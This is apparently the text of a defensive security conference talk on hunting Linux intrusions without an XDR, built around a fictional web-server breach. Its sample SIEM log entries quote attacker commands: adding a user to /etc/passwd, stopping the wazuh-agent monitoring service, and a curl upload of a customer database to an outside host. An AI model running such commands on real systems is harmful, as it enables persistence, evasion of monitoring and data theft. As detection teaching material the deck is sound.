CONFESSIONS OF A LINUX DRAMA QUEEN
WHEN HACKERS ARE TOTALLY RUINING YOUR LIFE
By Melina Phillips
ABOUT
ME
Offensive Security Engineer.
Bachelor’s Degree in Computer Systems Engineering.
Bsides DFW, Bsides Cambridge, Security Fest, BruCon and LeHack.
SSCP, CISSP, eJPT, Splunk Core User, AZ-900, PNPT, Pentest+, PJWT.
My favorite video game is Zombies Ate My Neighbors.
WAIT, WHAT ARE WE DOING HERE?
Linux Drama Queen
Life In Blue
Keep your correlation searches in check, with style and sanity.
SOS my SIEM died!
Exploring cool alternatives.
Getting the�DIRTY DETAILS
What your logs really say about your last incident.
When vintage isn’t always cool
Surviving legacy systems and accepting risk.
Across the Pond
VM snapshots, backups, comfy outfits and packing for that one con you’ve been stressing about.
50+
HOTTEST !
Linux commands for post exploitation
Why security Controls are like skincare.
Maturity and consistency matter.
BEAUTY, BREACHES AND
BASH HISTORY
How attackers turn beauty brands into entry points
WHY ARE THEY A TARGET?
IT’S NOT JUST DATA
Credentials give them access; your images make them believable.
LOGS ARE A GIRL’S BEST FRIEND
What logs do we need to detect an intrusion?
Diamonds might be forever but
NETWORK
APPLICATION
ENDPOINT LOGS
THREAT INTEL FEEDS
GOOD DETECTION STARTS WITH LOGS
Detecting malicious activity without an XDR
CATCH 22: WHO WATCHES THE WATCHER?
WEAPONIZING YOUR XDR
“
Real Time Response allows the execution of adaptable scripts, enabling automated execution of advanced commands.�
“
NO EDR / XDR?
NO PROBLEM!
SIEM LOGS
NETWORK DETECTION AND RESPONSE (NDR)
DECEPTION TECHNOLOGIES
ALTERNATIVE TELEMETRY
EDR, authentication, syslogs, gaps in log forwarding.
Lateral movement, unusual traffic patterns or data exfiltration.
The bait you intentionally leave out.
Tools like velociraptor and osquery.
Actually, this could be a problem but we gotta find a way to make do!
How did this even happen?
SETTING UP THE �STAGE
BlushLuxe Beauty
Beauty for the digital era
The BlushLuxe Beauty Counter allowed customers to schedule appointments online. However, the application suffered from broken access controls: �
ROLE | IP ADDRESS (PUBLIC) | IP ADDRESS (INTERNAL) |
BlushLuxe Web Server | 203.0.113.45 | 10.20.5.25 |
Bad Guy | 198.51.100.200 | |
2023 Verizon DBIR (Data Breach Investigation Report) says: "The most common action after gaining unauthorized access is uploading malicious content (e.g., webshells) to maintain persistent access."
While initially registering to schedule a beauty consultation,�the attacker created a standard customer account.
Whether scheduling an appointment, making a purchase, or updating personal information,�BlushLuxe relied on a shared customer account system.
Valid session credentials revealed the role_id field.
You can customize them with your essentials!
XDRs ARE LIKE A BEAUTY BAG
Asking all the good questions
TIME TO GET �NOSEY!
INTERSTING FILE LOCATIONS
Visualizing adversarial activity
GETTING OUR HANDS DIRTY
HIGH RISK FOLDERS
Unauthorized access or modifications to these directories can compromise security and data integrity.
1
2
/tmp
/var
Attackers love it because it’s world writeable, often ignored by admins and cleared on reboot.
Files that change size or content during daily operations, such as logs or spool files. Perfect location for attackers to hide their tools inside expected directories to blend in.
3
/usr/local
Commonly used by system administrators when installing software locally. An attacker could insert their binaries to escalate privileges or gained unauthorized access.
/var/log/apache2/access.log
/usr/local/lib/python3.9/site-packages/.backdoor_module.py
{
"@timestamp": "2025-06-07T18:09:22.347Z",
"event": {
"action": "modified",
"category": "file"
},
"host": {
"hostname": "blushluxe-prod-web01"
},
"user": {
"name": "apache"
},
"process": {
"name": "bash",
"command_line": "echo ' XPL017-VPN4PPL:x:1001:1001::/home/XPL017-VPN4PPL:/bin/bash' >> /etc/passwd"
},
"file": {
"path": "/etc/passwd"
},
"message": "/etc/passwd modified by apache using bash",
"tags": ["persistence", "filemod"]
}
When compromise is suspected, /var/log/syslog becomes your backstage pass to what the system was doing behind the scenes.
1
2
Unusual service starts/stops.
Repeated failed logins or sudo misuse.
3
4
Suspicious cron activity.
Kernel warnings or system level errors.
5
Hunting for compromise time windows
EVENT LOGS
{
"@timestamp": "2025-06-07T17:42:55.829Z",
"event": {
"category": "process",
"type": "stop",
"action": "service_stop"
},
"host": {
"hostname": "blushluxe-prod-web01",
"ip": "10.20.5.25"
},
"user": {
"name": "XPL017-VPN4PPL"
},
"process": {
"name": "systemctl",
"pid": 4129,
"executable": "/bin/systemctl",
"command_line": "systemctl stop wazuh-agent.service"
},
"message": "Service wazuh-agent stopped by user XPL017-VPN4PPL on host blushluxe-web01.",
}
SHELL HISTORY
Bash history function is designed to keep a record of a user’s past 500 commands on the system.
If an attacker has access to a user’s bash history, they could search through it and potentially find credentials.
1
2
Covering tracks
Internal recon
Once they gained access, attackers disable logging or erase bash history to hide evidence.
.bash_history reveal information about file paths or potential misconfigurations.
3
Previously run commands
Attackers look for useful previous commands (e.g. wget, curl, SSH) they can re-run or modify for lateral movement or privilege escalation.
NEW SERVICES
Attackers often create new services or modify existing ones to execute code, achieve persistence or avoid detection.
1
2
Code execution
Defense evasion
Systemd service could be used to execute malicious scripts and potentially turn the system into a command and control server.
Attackers can create customized services that wipe existing logs or evade EDR detections.
3
4
Persistence
Malicious services can be set up to automatically restart on boot, helping attackers keep long term access.
Privilege escalation
Gaining elevated access or running commands as a privileged user.
OKAY BUT HOW DO I EVEN SPOT A FAKE SERVICE
1
2
Naming convention
Service names
Modern Linux distros user systemd for service management and define them in unit files (.service).
They typically correspond to commonly known applications or utilities (e.g OpenVPN.service, kibana.service).
3
Investigate processes
4
Monitor logs
Identify suspicious activity such as unknown processes, unusual traffic and port usage, failed login attempts and unusual commands.
GEOLOCATION AND SUSPICIOUS IPs
Geolocation helps identify suspicious IPs associated with malicious activities, proxies or VPNs. It can also assist to identify login attempts from unauthorized or suspicious locations.
1
2
Anomalous behavior
Known IOCs
3
4
Indicators of data exfil.
Repeated or unsuccessful actions
5
Suspicious network connections in processes
{
"@timestamp": "2025-05-26T13:45:30.967Z",
"severity": "CRITICAL",
"detection_name": "Suspicious Data Transfer to Foreign Host",
"message": "Unusual outbound data stream detected: ~412MB transferred to external host 'http:// downloadram4free.com' over HTTP from 'blushluxe-prod-web01'.",
"source_ip": "10.10.5.25",
"source_hostname": "blx-backup-aws-03",
"user": "XLP017-VPN4PPL",
"process_name": "curl",
"command_line": "curl -T /mnt/share/customer_info-6.db http://downloadram4free.com/upload",
"geoip": {
"ip": "89.34.222.113",
"country_name": "Belgium",
"region_name": "Limburg",
"city_name": "Tessenderlo-Ham"
},
"file_exfiltrated": "customer_info-6.db",
"data_volume_MB": 412.4,
"confidence_score": 98,
"mitre_technique": "T1048.003 – Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
}
Attackers may load or hide kernel modules to gain elevates privileges or tamper with system monitoring tools.
1
2
Unusual Timestamps
Unexpected of Unfamiliar modules
3
4
Hidden or Malicious Modules.
Unstable Kernel
5
Audit Logs and Alerts
KERNEL MODULES
Organizations work with these tools to manage assets, apply updates and deploy applications .
1
2
Unusual/generic RMM agents
RMM ports exposed externally
3
4
Scripts masquerading as admin automation
Audit logs showing remote sessions
RMM ABUSE
Missing authorization checks.
Predictable object identifiers.
Unrestricted file uploads.� No content type checking.
EDR Monitoring.
No Outbound Egress Filtering.�
Insecure storage of credentials.
TL ; DR
Initial Triage
System Recon
Network Config
Logs Review
Suspicious Artifacts
|
|
|
|
|
|
|
|
|
|
Installed Binaries
Network Activity
Memory (if RAM Image Exists)
FINAL THOUGHTS
FINAL THOUGHTS
Audit your logs regularly.
Automate where possible, but RESPONSIBLY!
Baseline, baseline, baseline.
Security is like skincare.
Test your security controls.
THANK
By Melina Phillips
YOU!
https://www.linkedin.com/in/melinaphillips-cissp
@tx_dfw_princess
CONNECT WITH ME!!